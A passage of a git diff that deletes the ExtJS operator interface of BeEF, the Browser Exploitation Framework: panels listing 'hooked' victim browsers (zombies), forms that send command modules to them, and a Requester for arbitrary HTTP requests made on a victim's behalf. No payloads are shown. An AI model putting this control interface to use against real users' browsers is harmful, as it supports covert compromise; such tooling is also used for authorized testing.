- sortable: false - }, { - id: 'log-type', - header: "Type", - dataIndex: 'type', - sortable: true, - width: 60, - renderer: function(value, metaData, record, rowIndex, colIndex, store) { - return "" + value + ""; - } - }, { - id: 'log-event', - header: "Event", - dataIndex: 'event', - sortable:true, - width: 420, - renderer: this.formatTitle - }, { - id: 'log-date', - header: "Date", - dataIndex: 'date', - width: 80, - renderer: this.formatDate, - sortable:true - }]; - - DataGrid.superclass.constructor.call(this, { - region: 'center', - id: 'topic-grid', - loadMask: {msg:'Loading Feed...'}, - - sm: new Ext.grid.RowSelectionModel({ - singleSelect:true - }), - - viewConfig: { - forceFit:true - }, - - listeners: { - afterrender: function(datagrid) { - datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:"date", dir:"DESC"}}); - } - } - }); -}; - -Ext.extend(DataGrid, Ext.grid.GridPanel, {}); - -//Because we're using paging stores now, we have to override the PagingToolbar refresh -Ext.override(Ext.PagingToolbar, { - doRefresh: function() { - delete this.store.lastParams; - this.doLoad(this.cursor); - } -}); diff --git a/public/javascript/ui/panel/DistributedEngine.js b/public/javascript/ui/panel/DistributedEngine.js deleted file mode 100644 index de0cc96df..000000000 --- a/public/javascript/ui/panel/DistributedEngine.js +++ /dev/null @@ -1,39 +0,0 @@ -/* - * RULES TYPE - * - DOMAIN : DOMAIN www.zzz.com - * - EXTERNAL : EXTERNAL 123.456.789.123 - * - INTERNAL : INTERNAL 10.0.0.3 - */ -DistributedEngine = function() { - //defines the constant code to match with the backend ruby - this.CONSTANTS = { - 'requester' : 1, - 'portscanner' : 2 - }; - - /* - * Returns true of the hooked browser matches one of the rules and should be checked. - * @param: {Literal Object} the browser object. - * @param: {Literal Object} the rule set object. - * @return: {Boolean} true if matches, false if not. - */ - this.HookedBrowserMatchesRules = function(hooked_browser, rules) { - - }; - - /* - * Disable an existing rule in the framework. That function is called when the user - * unchecks a hooked browser. - * @param: {Integer} the id of the rule. - */ - this.DisableRule = function(rule_id) { - - }; - - /* - * Creates and sends a new rule to the backend. - */ - this.CreateNewRule = function() { - - }; -}; \ No newline at end of file diff --git a/public/javascript/ui/panel/Logout.js b/public/javascript/ui/panel/Logout.js deleted file mode 100644 index 5036d4e0a..000000000 --- a/public/javascript/ui/panel/Logout.js +++ /dev/null @@ -1,20 +0,0 @@ -DoLogout = function() { - - var button = Ext.get('do-logout-menu'); - - after_logout = function() { - // will redirect the UA to the login - window.location.href = '/ui/panel' - } - - button.on('click', function(){ - Ext.Ajax.request({ - url: '/ui/authentication/logout', - method: 'POST', - params: 'nonce=' + Ext.get("nonce").dom.value, - success: after_logout, - failure: after_logout - }); - - }) -}; \ No newline at end of file diff --git a/public/javascript/ui/panel/MainPanel.js b/public/javascript/ui/panel/MainPanel.js deleted file mode 100644 index 2a9cf432b..000000000 --- a/public/javascript/ui/panel/MainPanel.js +++ /dev/null @@ -1,66 +0,0 @@ -MainPanel = function(){ - this.preview = new Ext.Panel({ - id: 'preview', - region: 'south', - cls:'preview', - autoScroll: true, - listeners: PanelViewer.LinkInterceptor, - - tbar: [{ - id:'tab', - text: 'View in New Tab', - iconCls: 'new-tab', - disabled:true, - handler : this.openTab, - scope: this - }], - - clear: function(){ - this.body.update(''); - var items = this.topToolbar.items; - items.get('tab').disable(); - items.get('win').disable(); - } - }); - - this.grid = new DataGrid('/ui/logs/all.json',30); - this.grid.border = false; - this.welcome_tab = new WelcomeTab; - - MainPanel.superclass.constructor.call(this, { - id:'main-tabs', - activeTab:0, - region:'center', - margins:'0 5 5 0', - resizeTabs:true, - tabWidth:150, - minTabWidth: 120, - enableTabScroll: true, - plugins: new Ext.ux.TabCloseMenu(), - items: [{ - id:'welcome-view', - title:'Getting Started', - layout:'border', - hideMode:'offsets', - closable:true, - plain:true, - shadow:true, - items:[ - this.welcome_tab - ]},{ - id:'logs-view', - layout:'border', - title:'Logs', - hideMode:'offsets', - items:[ - this.grid - ] - }] - }); - -}; - -Ext.extend(MainPanel, Ext.TabPanel); - - -Ext.reg('appmainpanel', MainPanel); diff --git a/public/javascript/ui/panel/PanelStatusBar.js b/public/javascript/ui/panel/PanelStatusBar.js deleted file mode 100644 index 95363cd73..000000000 --- a/public/javascript/ui/panel/PanelStatusBar.js +++ /dev/null @@ -1,74 +0,0 @@ -/* - * The Beef_StatusBar class provides the functionality of the status bar - * at the bottom of each tab in the UI - * - * @param: {String} unique string for setting the status bar id. - * - */ - -Beef_StatusBar = function(unique_id) { - - var update_fail_wait = 2000; // delay before showing ready status - var update_sent_wait = 1000; // delay before showing ready status - - Beef_StatusBar.superclass.constructor.call(this, { - id: 'commands-bbar-zombie-' + unique_id, - - // defaults to use when the status is cleared: - defaultText: 'Ready', - defaultIconCls: 'x-status-valid', - - // values to set initially: - text: 'Ready', - iconCls: 'x-status-valid', - - // update status bar to ready - update_ready: function(str) { - var display_str = str || "Ready"; - this.setStatus({ - text: display_str, - iconCls: 'x-status-valid' - }); - }, - - // update status bar to fail - update_fail: function(str){ - var display_str = str || "Error!"; - - this.setStatus({ - text: display_str, - iconCls: 'x-status-error', - clear: { - wait: update_fail_wait, - anim: true, - useDefaults: true - } - }); - }, - - // update status bar to sending - update_sending: function(str) { - var display_str = str || "Sending..."; - this.showBusy(display_str); - }, - - // update status bar to sent - update_sent: function(str) { - var display_str = str || "Sent"; - this.setStatus({ - text: display_str, - iconCls: 'x-status-valid', - clear: { - wait: update_sent_wait, - anim: true, - useDefaults: true - } - }); - } - - }); - -}; - -Ext.extend(Beef_StatusBar, Ext.ux.StatusBar, {} ); - diff --git a/public/javascript/ui/panel/PanelViewer.js b/public/javascript/ui/panel/PanelViewer.js deleted file mode 100644 index 742ec1c06..000000000 --- a/public/javascript/ui/panel/PanelViewer.js +++ /dev/null @@ -1,57 +0,0 @@ -PanelViewer = {}; -var mainPanel, zombiesTreeLists, zombieTabs, zombiesManager; - -Ext.onReady(function() { - - Ext.QuickTips.init(); - - zombiesTreeLists = { - 'basic' : new zombiesTreeList('basic'), - 'requester' : new zombiesTreeList('requester') - }; - - zombieTabs = new ZombieTabs(zombiesTreeLists); - zombiesManager = new ZombiesMgr(zombiesTreeLists); - mainPanel = new MainPanel(); - - var viewport = new Ext.Viewport({ - layout:'border', - items:[ - new Ext.BoxComponent({ - region:'north', - el: 'header', - height: 32 - }), - zombieTabs, - mainPanel - ] - }); - - new DoLogout(); -}); - -/* - * Panel Events Updater - * - * This event updater retrieves updates every 8 seconds. Those updates - * are then pushed to various managers (i.e. the zombie manager). - */ -Ext.TaskMgr.start({ - run: function() { - Ext.Ajax.request({ - url: '/ui/panel/hooked-browser-tree-update.json', - method: 'POST', - success: function(response) { - var updates = Ext.util.JSON.decode(response.responseText); - var distributed_engine_rules = (updates['ditributed-engine-rules']) ? updates['ditributed-engine-rules'] : null; - var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null; - - if(zombiesManager && hooked_browsers) { - zombiesManager.updateZombies(hooked_browsers, distributed_engine_rules); - } - } - }); - }, - - interval: 8000 -}); \ No newline at end of file diff --git a/public/javascript/ui/panel/WelcomeTab.js b/public/javascript/ui/panel/WelcomeTab.js deleted file mode 100644 index df7c1cfe0..000000000 --- a/public/javascript/ui/panel/WelcomeTab.js +++ /dev/null @@ -1,26 +0,0 @@ -WelcomeTab = function() { - - welcome = " \ -
\ -

  BeEF - The Browser Exploitation Framework


\ -

Welcome to BeEF!


\ -

Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here.


\ -

After a browser is hooked into the framework they will appear in the 'Hooked Browsers' panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have polled the framework. To interact with a hooked browser simply click it, a new tab will appear.


\ -

Each hooked browser tab has a number of sub-tabs, described below:

\ -

  • Main: Display information about the hooked browser after you've run some command modules
  • \ -
  • Logs: Displays recent log entries related to this particular hooked browser.
  • \ -
  • Commands: This tab is where modules can be executed against the hooked browser. This is where most of the BeEF functionality resides.
  • \ -
  • Requester: The Requester tab is a special module that allows you to submit arbitrary HTTP requests on behalf of the hooked browser.


\ -

For more information visit: http://code.google.com/p/beef/


\ -
\ - "; - - WelcomeTab.superclass.constructor.call(this, { - region:'center', - padding:'10 10 10 10', - html: welcome, - border: false - }); -}; - -Ext.extend(WelcomeTab,Ext.Panel, {}); diff --git a/public/javascript/ui/panel/ZombieTab.js b/public/javascript/ui/panel/ZombieTab.js deleted file mode 100644 index 0869de9e3..000000000 --- a/public/javascript/ui/panel/ZombieTab.js +++ /dev/null @@ -1,31 +0,0 @@ -ZombieTab = function(zombie) { - - main_tab = new ZombieTab_DetailsTab(zombie); - log_tab = new ZombieTab_LogTab(zombie); - commands_tab = new ZombieTab_Commands(zombie); - requester_tab = new ZombieTab_Requester(zombie); - - //------------------------------------------- - ZombieTab.superclass.constructor.call(this, { - id: zombie.session, - activeTab: 0, - loadMask: {msg:'Loading browser...'}, - title: zombie.ip, - autoScroll: true, - closable: true, - viewConfig: { - forceFit: true, - type: 'fit' - }, - items:[main_tab, log_tab, commands_tab, requester_tab] - }); - -}; - -Ext.extend(ZombieTab, Ext.TabPanel, { - listeners: { - close: function(panel) { - panel.destroy(); - } - } -}); diff --git a/public/javascript/ui/panel/ZombieTabs.js b/public/javascript/ui/panel/ZombieTabs.js deleted file mode 100644 index aa477e012..000000000 --- a/public/javascript/ui/panel/ZombieTabs.js +++ /dev/null @@ -1,78 +0,0 @@ -ZombieTabs = function(zombie_tree_list) { - - //a variable to store the list of trees. - this.tree_items = new Array; - - //we store the list of trees in a correct array format for ExtJs - for(tree_name in zombie_tree_list) { - var tree = zombie_tree_list[tree_name]; - - //set the tree as distributed if it's not the basic tree - if(tree_name != "basic") { - tree.tree_configuration["distributed"] = true; - } - - this.tree_items.push(tree); - } - - /* - * Update each tree with a new configuration and regenerates them. - * @param: {Literal Object} updated configuration for the trees - */ - function update_trees_configuration(configuration) { - var tree_panel = Ext.getCmp("zombie-tree-tabs-panel"); - var trees = tree_panel.items; - - Ext.each(trees.items, function(tree) { - tree.updateConfiguration(configuration); - tree.reload(); - }); - }; - - //the bottom bar for that panel - this.bottom_bar = new Ext.Toolbar({ - items: [ - { - xtype: 'tbtext', - text: 'Sort by:' - }, - { - //list the hooked browsers by domain - text: 'domain', - listeners: { - click: function(b) { - update_trees_configuration({'sub-branch' : 'domain'}); - } - } - }, - '-', - { - //list the hooked browsers by external ip - text: 'external ip', - listeners: { - click: function() { - alert('under construction'); - } - } - } - ] - }); - - MainPanel.superclass.constructor.call(this, { - id: 'zombie-tree-tabs-panel', - title: 'Hooked Browsers', - headerAsText: true, - tabPosition: 'bottom', - region:'west', - activeTab: 0, - margins:'0 5 5 5', - width: 225, - minSize: 175, - maxSize: 400, - deferredRender: false, - items: this.tree_items, - bbar: this.bottom_bar - }); -}; - -Ext.extend(ZombieTabs, Ext.TabPanel); \ No newline at end of file diff --git a/public/javascript/ui/panel/ZombiesMgr.js b/public/javascript/ui/panel/ZombiesMgr.js deleted file mode 100644 index ae40e95b5..000000000 --- a/public/javascript/ui/panel/ZombiesMgr.js +++ /dev/null @@ -1,65 +0,0 @@ -var ZombiesMgr = function(zombies_tree_lists) { - - //save the list of trees in the object - this.zombies_tree_lists = zombies_tree_lists; - - // this is a helper class to create a zombie object from a JSON hash index - this.zombieFactory = function(index, zombie_array){ - text = " "; - text += " "; - text += zombie_array[index]["ip"]; - - var new_zombie = { - 'id' : index, - 'ip' : zombie_array[index]["ip"], - 'session' : zombie_array[index]["session"], - 'text': text, - 'check' : false, - 'domain' : zombie_array[index]["domain"] - }; - - return new_zombie; - } - - /* - * Update the hooked browser trees - * @param: {Literal Object} an object containing the list of offline and online hooked browsers. - * @param: {Literal Object} an object containing the list of rules from the distributed engine. - */ - this.updateZombies = function(zombies, rules){ - var offline_hooked_browsers = zombies["offline"]; - var online_hooked_browsers = zombies["online"]; - - for(tree_type in this.zombies_tree_lists) { - hooked_browsers_tree = this.zombies_tree_lists[tree_type]; - - //we compare and remove the hooked browsers from online and offline branches for each tree. - hooked_browsers_tree.compareAndRemove(zombies); - - //add an offline browser to the tree - for(var i in offline_hooked_browsers) { - var offline_hooked_browser = this.zombieFactory(i, offline_hooked_browsers); - hooked_browsers_tree.addZombie(offline_hooked_browser, false, ((tree_type != 'basic') ? true : false)); - } - - //add an online browser to the tree - for(var i in online_hooked_browsers) { - var online_hooked_browser = this.zombieFactory(i, online_hooked_browsers); - hooked_browsers_tree.addZombie(online_hooked_browser, true, ((tree_type != 'basic') ? true : false)); - } - - //apply the rules to the tree - hooked_browsers_tree.applyRules(rules); - - //expand the online hooked browser tree lists - if(hooked_browsers_tree.online_hooked_browsers_treenode.childNodes.length > 0) { - hooked_browsers_tree.online_hooked_browsers_treenode.expand(true); - } - - //expand the offline hooked browser tree lists - if(hooked_browsers_tree.offline_hooked_browsers_treenode.childNodes.length > 0) { - hooked_browsers_tree.offline_hooked_browsers_treenode.expand(true); - } - } - } -}; \ No newline at end of file diff --git a/public/javascript/ui/panel/common.js b/public/javascript/ui/panel/common.js deleted file mode 100644 index bc4afdff5..000000000 --- a/public/javascript/ui/panel/common.js +++ /dev/null @@ -1,394 +0,0 @@ -var zombie_execute_button_text = 'Execute' -var zombie_reexecute_button_text = 'Re-execute' -var re_execute_command_title = 'Re-execute command' - -/** - * Generates fields for the form used to send command modules. - * - * @param: {Object} the form to generate the field in. - * @param: {String/Object} the field name or it's definition as an object. - * @param: {String} the value that field should have. - * @param: {Boolean} set to true if you want the field to be disabled. - * @param: {Object} the targeted Zombie. - */ -function generate_form_input_field(form, input, value, disabled, zombie) { - var input_field = null; - var input_def = null; - - if (!input['ui_label']) input['ui_label'] = input['name']; - if (!input['type']) input['type'] = 'textfield'; - if (!input['value']) input['value'] = ''; - - input_def = { - id: 'form-zombie-'+zombie.session+'-field-'+input['name'], - name: 'txt_'+input['name'], - fieldLabel: input['ui_label'], - anchor:'70%', - allowBlank: false, - value: input['value'] - }; - - // create the input field object based upon the type supplied - switch(input['type'].toLowerCase()) { - case 'textfield': - input_field = new Ext.form.TextField(input_def); - break; - case 'textarea': - input_field = new Ext.form.TextArea(input_def); - break; - case 'hidden': - input_field = new Ext.form.Hidden(input_def); - break; - case 'label': - input_def['fieldLabel'] = '' - input_def['html'] = input['html']; - input_field = new Ext.form.Label(input_def); - break; - case 'checkbox': - input_def['name'] = 'chk_' + input['name']; - input_field = new Ext.form.Checkbox(input_def); - break; - case 'checkboxgroup': - input_def['name'] = 'chkg_' + input['name']; - input_def['items'] = input['items']; - input_field = new Ext.form.CheckboxGroup(input_def); - break; - case 'combobox': - input_def['name'] = 'com_' + input['name']; - input_def['triggerAction'] = 'all'; - - // add a listener so that when the check box is changed it will update the payload options - if(input.reloadOnChange) { // input.reloadOnChange is set in msfcommand.rb - Ext.getCmp("payload-panel").show(); // initially the panel will be empty so it may appear still hidden - input_def['listeners'] = { - 'select': function(combo, value) { - get_dynamic_payload_details(combo.getValue(), zombie); // combo.getValue() is the selected payload - } - }; - } - - // create store to contain options for the combo box - input_def['store'] = new Ext.data.ArrayStore( { - fields: input['store_fields'], - data: input['store_data'] - }); - - input_field = new Ext.form.ComboBox(input_def); - - break; - default: - input_field = new Ext.form.TextField(input_def); - break; - } - - // add the properties for the input element, for example: widths, default values and the html lables - for(definition in input) { - if( (typeof input[definition] == 'string') && (definition != 'type') && (definition != 'name')) { - input_field[definition] = input[definition]; - } - } - - if(value) input_field.setValue(value); - if(disabled) input_field.setDisabled(true); - - form.add(input_field); - -}; - -function get_dynamic_payload_details(payload, zombie) { - - modid = Ext.getCmp( 'form-zombie-'+zombie.session+'-field-mod_id').value - Ext.Ajax.request({ - loadMask: true, - url: '/ui/modules/select/commandmodule.json', - method: 'POST', - params: 'command_module_id=' + modid + '&' + 'payload_name=' + payload, - success: function(resp) { - var module = Ext.decode(resp.responseText); - module = module.command_modules[1]; - - Ext.getCmp("payload-panel").removeAll(); // clear the panel contents - Ext.each(module.Data, function(input){ - // generate each of the payload input options - generate_form_input_field(Ext.getCmp("payload-panel"), input, null, false, zombie); - }); - - Ext.getCmp("payload-panel").doLayout(); - } - }) -} - -/** - * Generate a panel for an command module that already has been executed. - * - * @param: {Object} the Panel in the UI to generate the form into. - * @param: {Integer} the command id to generate the panel for. - * @param: {Object} the targeted Zombie. - * @param: {Object} the status bar. - */ -function genExisingExploitPanel(panel, command_id, zombie, sb) { - if(typeof panel != 'object') { - Ext.beef.msg('Bad!', 'Incorrect panel chosen.'); - return; - } - - sb.showBusy(); // status bar update - panel.removeAll(); - - Ext.Ajax.request({ - url: '/ui/modules/select/command.json', - method: 'POST', - params: 'command_id=' + command_id, - loadMask: true, - success: function(resp) { - var xhr = Ext.decode(resp.responseText); - - if(!xhr || !xhr.definition) { - Ext.beef.msg('Error!', 'We could not retrieve the definition of that command module...'); - return; - } - - var form = new Ext.form.FormPanel({ - url: '/ui/modules/commandmodule/reexecute', - id: 'form-command-module-zombie-'+zombie.session, - border: false, - labelWidth: 75, - defaultType: 'textfield', - title: re_execute_command_title, - bodyStyle: 'padding: 5px;', - - items: [new Ext.form.Hidden({name: 'command_id', value: command_id})], - - buttons:[{ - text: zombie_reexecute_button_text, - handler: function() { - var form = Ext.getCmp('form-command-module-zombie-'+zombie.session); - if(!form || !form.getForm().isValid()) return; - - sb.update_sending('Sending commands to ' + zombie.ip + '...'); // status bar update - - var command_module_form = form.getForm(); // form to be submitted when execute button is pressed on an command module tab - command_module_form.submit({ - params: { // insert the nonce with the form - nonce: Ext.get ("nonce").dom.value - }, - success: function() { - sb.update_sent("Commands sent to zombie " + zombie.ip); // status bar update - }, - failure: function() { - sb.update_fail("Error!"); // status bar update - } - }); - } - }] - }); - - Ext.each(xhr.definition.Data, function(input) { - var value = null; - - if(typeof input == 'string') { - value = xhr.data[input]; - } - - if(typeof input == 'object' && typeof input[0] == 'object') { - value = xhr.data[input[0]['name']] - } - - generate_form_input_field(form, input, value, false, zombie); - }); - - var grid_store = new Ext.data.JsonStore({ - url: '/ui/modules/select/command_results.json?command_id='+command_id, - storeId: 'command-results-store-zombie-'+zombie.session, - root: 'results', - remoteSort: false, - autoDestroy: true, - fields: [ - {name: 'date', type: 'date', dateFormat: 'timestamp'}, - {name: 'data'} - ] - }); - - Ext.TaskMgr.start({ - run: function(task) { - var grid = Ext.getCmp('command-results-grid-zombie-'+zombie.session); - //here we have to check for the existance of the grid before reloading - //because we do not want to reload the store if the tab has been closed. - if(grid_store && grid) { - grid_store.reload(); - } - }, - interval: 4000 - }); - - var grid = new Ext.grid.GridPanel({ - id: 'command-results-grid-zombie-'+zombie.session, - store: grid_store, - border: false, - hideHeaders: true, - title: 'Command results', - - viewConfig: { - forceFit:true - }, - - columns:[new Ext.grid.RowNumberer({width: 20}), { - dataIndex: 'date', - sortable: false, - renderer: function(value, p, record) { - html = String.format("
{0}
", value); - html += '

'; - - for(index in record.data.data) { - result = record.data.data[index]; - index = index.toString().replace('_', ' '); - - html += String.format('{0}: {1}
', index, result); - } - - html += '

'; - return html; - } - }] - }); - - grid.store.load(); - - var accordion = new Ext.Panel({ - id: 'command-results-accordion-zombie-'+zombie.session, - layout:'accordion', - border: false, - items: [grid, form] - }); - - panel.add(accordion); - panel.doLayout(); - - sb.update_ready(); // status bar update - } - }); -}; - -/** - * Generate a panel for an command module. - * - * @param: {Object} the Panel in the UI to generate the form into. - * @param: {String} the path to the command module file in the framework. - * @param: {String} the name of the command module. - * @param: {Object} the targeted Zombie. - * @param: {Object} the status bar. - */ -function genNewExploitPanel(panel, command_module_id, command_module_name, zombie, sb) { - if(typeof panel != 'object') { - Ext.beef.msg('Bad!', 'Incorrect panel chosen.'); - return; - } - - var xgrid = Ext.getCmp('command-module-grid-zombie-'+zombie.session); - var sb = Ext.getCmp('commands-bbar-zombie-'+zombie.session); - - if(command_module_name == 'some special command module') { - //HERE we will develop specific panels for the command modules that require it. - } else { - Ext.Ajax.request({ - loadMask: true, - url: '/ui/modules/select/commandmodule.json', - method: 'POST', - params: 'command_module_id=' + command_module_id, - success: function(resp) { - var module = Ext.decode(resp.responseText); - - if(!module) { - Ext.beef.msg('Error!', 'We could not retrieve the definition of that command_module...'); - return; - } - - var submiturl = '/ui/modules/commandmodule/new'; - if(module.dynamic){ - submiturl = '/ui/modules/commandmodule/dynamicnew'; - } - - module = module.command_modules[1]; - panel.removeAll(); - - var form = new Ext.form.FormPanel({ - url: submiturl, - - id: 'form-command-module-zombie-'+zombie.session, - border: false, - labelWidth: 75, - defaultType: 'textfield', - title: module.Name, - bodyStyle: 'padding: 5px;', - - items: [ - new Ext.form.Hidden({name: 'zombie_session', value: zombie.session}), - new Ext.form.Hidden({name: 'command_module_id', value: command_module_id}), - new Ext.form.DisplayField({ - name: 'command_module_description', - fieldLabel: 'Description', - fieldClass: 'command-module-panel-description', - value: module.Description - }) - ], - - buttons:[{ - text: zombie_execute_button_text, - handler: function() { - var form = Ext.getCmp('form-command-module-zombie-'+zombie.session), command_module_params = new Array(); - - if(!form || !form.getForm().isValid()) { - sb.update_fail("Please complete all input fields!"); // status bar update - return; - } - - sb.update_sending('Sending commands to ' + zombie.ip + '...'); // status bar update - - var command_module_form = form.getForm(); // form to be submitted when execute button is pressed on an command module tab - - command_module_form.submit({ - params: { // insert the nonce with the form - nonce: Ext.get ("nonce").dom.value - }, - success: function() { - xgrid.i = 0; - xgrid.store.reload({ //reload the command module grid - params: { // insert the nonce with the request to reload the grid - nonce: Ext.get ("nonce").dom.value - } - }); - sb.update_sent("Commands sent to zombie " + zombie.ip); // status bar update - }, - failure: function() { - sb.update_fail("Error!"); // status bar update - } - }); - } - }] - }); - - // create the panel and hide it - var payload_panel = new Ext.Panel({ - id: 'payload-panel', // used with Ext.GetCmp('payload-panel') - bodyStyle: 'padding:10px;', // we can assign styles to the main div - layout : 'form', - bodyBorder: false, - height: 200, - hidden: true, - border: false //we can remove the border of the panel - }); - - Ext.each(module.Data, function(input){ - generate_form_input_field(form, input, null, false, zombie)} - ); - - form.add(payload_panel); - - panel.add(form); - panel.doLayout(); - // hide the load mask after rendering of the config panel is done - panel.configLoadMask.hide(); - } - }); - } -}; diff --git a/public/javascript/ui/panel/tabs/ZombieTabCommands.js b/public/javascript/ui/panel/tabs/ZombieTabCommands.js deleted file mode 100644 index 5f3b111fb..000000000 --- a/public/javascript/ui/panel/tabs/ZombieTabCommands.js +++ /dev/null @@ -1,187 +0,0 @@ -/* - * The command tab panel. Listing the list of commands sent to the zombie. - * Loaded in /ui/panel/index.html - */ -ZombieTab_Commands = function(zombie) { - var command_module_config = new Ext.Panel({ - id: 'zombie-command-module-config-'+zombie.session, - region: 'center', - border: false, - layout: 'fit', - autoScroll: true - }); - - var welcomeWindow = new Ext.Window({ - title: 'Welcome to BeEF', - id: 'welcome-window', - closable:true, - width:450, - height:300, - plain:true, - layout: 'border', - shadow: true, - items: [ - new Ext.Panel({ - region: 'center', - padding: '3 3 3 3', - html: "At your left you have all the BeEF command modules organized in a category tree.

" + - "Most command modules consist of Javascript code that is executed against the selected " + - "Hooked Browser. Command modules are able to perform any actions that can be achieved " + - "trough Javascript: for example they may gather information about the Hooked Browser, manipulate the DOM " + - "or perform other activities such as exploiting vulnerabilities within the local network " + - "of the Hooked Browser.

To learn more about writing your own modules please review " + - "the wiki:
" + - "http://code.google.com/p/beef/wiki/DevDocs

" + - "Each command module has a traffic light icon, which is used to indicate the following:
    " + - "
  • - Command does not work against this target
  • " + - "
  • - It is unknown if this command works against this target
  • " + - "
  • - The command works against the target, but may be visible to the user
  • " + - "
  • - The command works against the target and should be invisible to the user
" - }) - ] - }); - - var command_module_grid = new Ext.grid.GridPanel({ - store: new Ext.data.JsonStore({ - url: '/ui/modules/commandmodule/commands.json', - params: { // insert the nonce with the form - nonce: Ext.get ("nonce").dom.value - }, - autoDestroy: false, - autoLoad: false, - root: 'commands', - fields: ['label', 'creationdate', 'id', 'object_id'], - sortInfo: {field: 'id', direction: 'ASC'} - }), - - id: 'command-module-grid-zombie-'+zombie.session, - sortable: true, - autoWidth: false, - region: 'west', - stripeRows: true, - autoScroll: true, - border: false, - width: 260, - bodyStyle: 'border-right: 1px solid #99BBE8; border-left: 1px solid #99BBE8;', - i:0, - - view: new Ext.grid.GridView({ - forceFit: true, - emptyText: "The results from executed command modules will be listed here.", - enableRowBody:true - }), - - columns: [ - {header: 'id', width: 35, sortable: true, dataIndex: 'id'}, - {header: 'date', width: 100, sortable: true, dataIndex: 'creationdate'}, - {header: 'label', sortable: true, dataIndex: 'label', renderer: function(value) { if(value==null) {command_module_grid.i +=1; return 'command '+command_module_grid.i;} else return value;}}, - {header: 'object_id', sortable: true, dataIndex: 'object_id', hidden: true, menuDisabled: true} - ] - }); - - command_module_grid.on('rowclick', function(grid, rowIndex, e) { - var r = grid.getStore().getAt(rowIndex).data; - var command_id = r.object_id || null; - - if(!command_id) return; - - genExisingExploitPanel(command_module_config, command_id, zombie, commands_statusbar); - }); - - var command_module_tree = new Ext.tree.TreePanel({ - border: false, - region: 'west', - width: 190, - minSize: 190, - maxSize: 500, // if some command module names are even longer, adjust this value - useArrows: true, - autoScroll: true, - animate: true, - containerScroll: true, - rootVisible: false, - root: {nodeType: 'async'}, - loader: new Ext.tree.TreeLoader({ - dataUrl: '/ui/modules/select/commandmodules/tree.json', - baseParams: {zombie_session: zombie.session}, - listeners:{ - beforeload: function(treeloader, node, callback) { - // Show loading mask on body, to prevent the user interacting with the UI - treeloader.treeLoadingMask = new Ext.LoadMask(Ext.getBody(), {msg:"Please wait, command tree is loading..."}); - treeloader.treeLoadingMask.show(); - return true; - }, - load: function(treeloader, node, response) { - // Hide loading mask after tree is fully loaded - treeloader.treeLoadingMask.hide(); - - if(Ext.get('welcomeWinShown') == null){ - welcomeWindow.show(); - // add a div in the header section, to prevent displaying the Welcome Window every time - // the module_tree_panel is loaded - Ext.DomHelper.append('header', {tag: 'div', id: 'welcomeWinShown'}); - } - return true; - } - } - }), - listeners: { - 'click': function(node) { - if(!node.leaf) { - node.toggle(); - } else { - // if the user don't close the welcome window, let hide it automatically - welcomeWindow.hide(); - - command_module_config.configLoadMask = new Ext.LoadMask(Ext.getBody(), {msg:"Please wait, module config is loading..."}); - command_module_config.configLoadMask.show(); - - command_module_grid.i = 0; - command_module_grid.store.baseParams = {command_module_id: node.attributes.id, zombie_session: zombie.session}; - command_module_grid.store.reload({ //reload the command module grid - params: { // insert the nonce with the request to reload the grid - nonce: Ext.get ("nonce").dom.value - } - }); - - genNewExploitPanel(command_module_config, node.id, node.text, zombie, commands_statusbar); - commands_statusbar.showValid('Ready'); - } - }, - 'afterrender' : function() { - } - } - }); - - var commands_statusbar = new Beef_StatusBar(zombie.session); - - ZombieTab_Commands.superclass.constructor.call(this, { - id: 'zombie-'+zombie.session+'-command-module-panel', - title:'Commands', - layout: 'fit', - region: 'center', - autScroll: true, - items: { - layout: 'border', - border: false, - // enable width resize of the command_module_tree - defaults: { - collapsible: false, - split: true - }, - items: [command_module_tree, - new Ext.Panel({ - id: 'zombie-command-module-west-'+zombie.session, - region: 'center', - layout: 'border', - border: false, - items: [command_module_grid, command_module_config] - })] - }, - - bbar: commands_statusbar - }); - - var sb = Ext.getCmp('command-module-bbar-zombie-'+zombie.session); -}; - -Ext.extend(ZombieTab_Commands, Ext.Panel, {}); diff --git a/public/javascript/ui/panel/tabs/ZombieTabDetails.js b/public/javascript/ui/panel/tabs/ZombieTabDetails.js deleted file mode 100644 index 7567aba32..000000000 --- a/public/javascript/ui/panel/tabs/ZombieTabDetails.js +++ /dev/null @@ -1,84 +0,0 @@ -/* - * The main Tab panel for the selected zombie. - */ -ZombieTab_DetailsTab = function(zombie) { - - var store_summary = new Ext.data.GroupingStore({ - url: '/ui/modules/select/zombie_summary.json', - baseParams: {zombie_session: zombie.session} , - reader: new Ext.data.JsonReader({ - root: 'results' - },[ - {name: 'data'}, - {name: 'category'}, - {name: 'from'} - ]), - - autoLoad: false, - sortInfo:{field: 'from', direction: "ASC"}, - groupField:'category' - }); - - var grid_summary = new Ext.grid.GridPanel({ - store: store_summary, - border: false, - region: 'center', - layout: 'fit', - hideHeaders: true, - loadMask: {msg:'Loading Information...'}, - - view: new Ext.grid.GroupingView({ - forceFit:true, - groupTextTpl: '{text} ({[values.rs.length]} {[values.rs.length > 1 ? "Items" : "Item"]})', - emptyText: "No Record found: this tab gets populated after you've ran some command modules.", - enableRowBody:true - }), - - viewConfig: { - forceFit:true - }, - - columns:[ - { - header: 'information', - dataIndex: 'data', - renderer: function(value, p, record) { - html = '' - - for(index in value) { - result = value[index]; - index = index.toString().replace('_', ' '); - - html += String.format('{0}: {1}
', index, result); - } - - return html; - } - }, - - {header: 'command_module', dataIndex:'from', width: 25, renderer: function(value){return value;}}, - {header: 'Category', dataIndex:'category', hidden: true, renderer: function(value){return value;}} - ] - }); - - ZombieTab_DetailsTab.superclass.constructor.call(this, { - id: 'zombie-details-tab'+zombie.session, - layout: 'fit', - title: 'Details', - - items: { - layout:'border', - border: false, - items:[grid_summary] - }, - - listeners:{ - activate : function(maintab){ - maintab.items.items[0].items.items[0].store.reload(); - } - } - }); - -}; - -Ext.extend(ZombieTab_DetailsTab, Ext.Panel, {}); diff --git a/public/javascript/ui/panel/tabs/ZombieTabLogs.js b/public/javascript/ui/panel/tabs/ZombieTabLogs.js deleted file mode 100644 index 664572543..000000000 --- a/public/javascript/ui/panel/tabs/ZombieTabLogs.js +++ /dev/null @@ -1,22 +0,0 @@ -/* - * The log Tab panel for the selected zombie. - */ -ZombieTab_LogTab = function(zombie) { - - var zombieLog = new DataGrid('/ui/logs/zombie.json',30,{session:zombie.session}); - zombieLog.border = false; - - 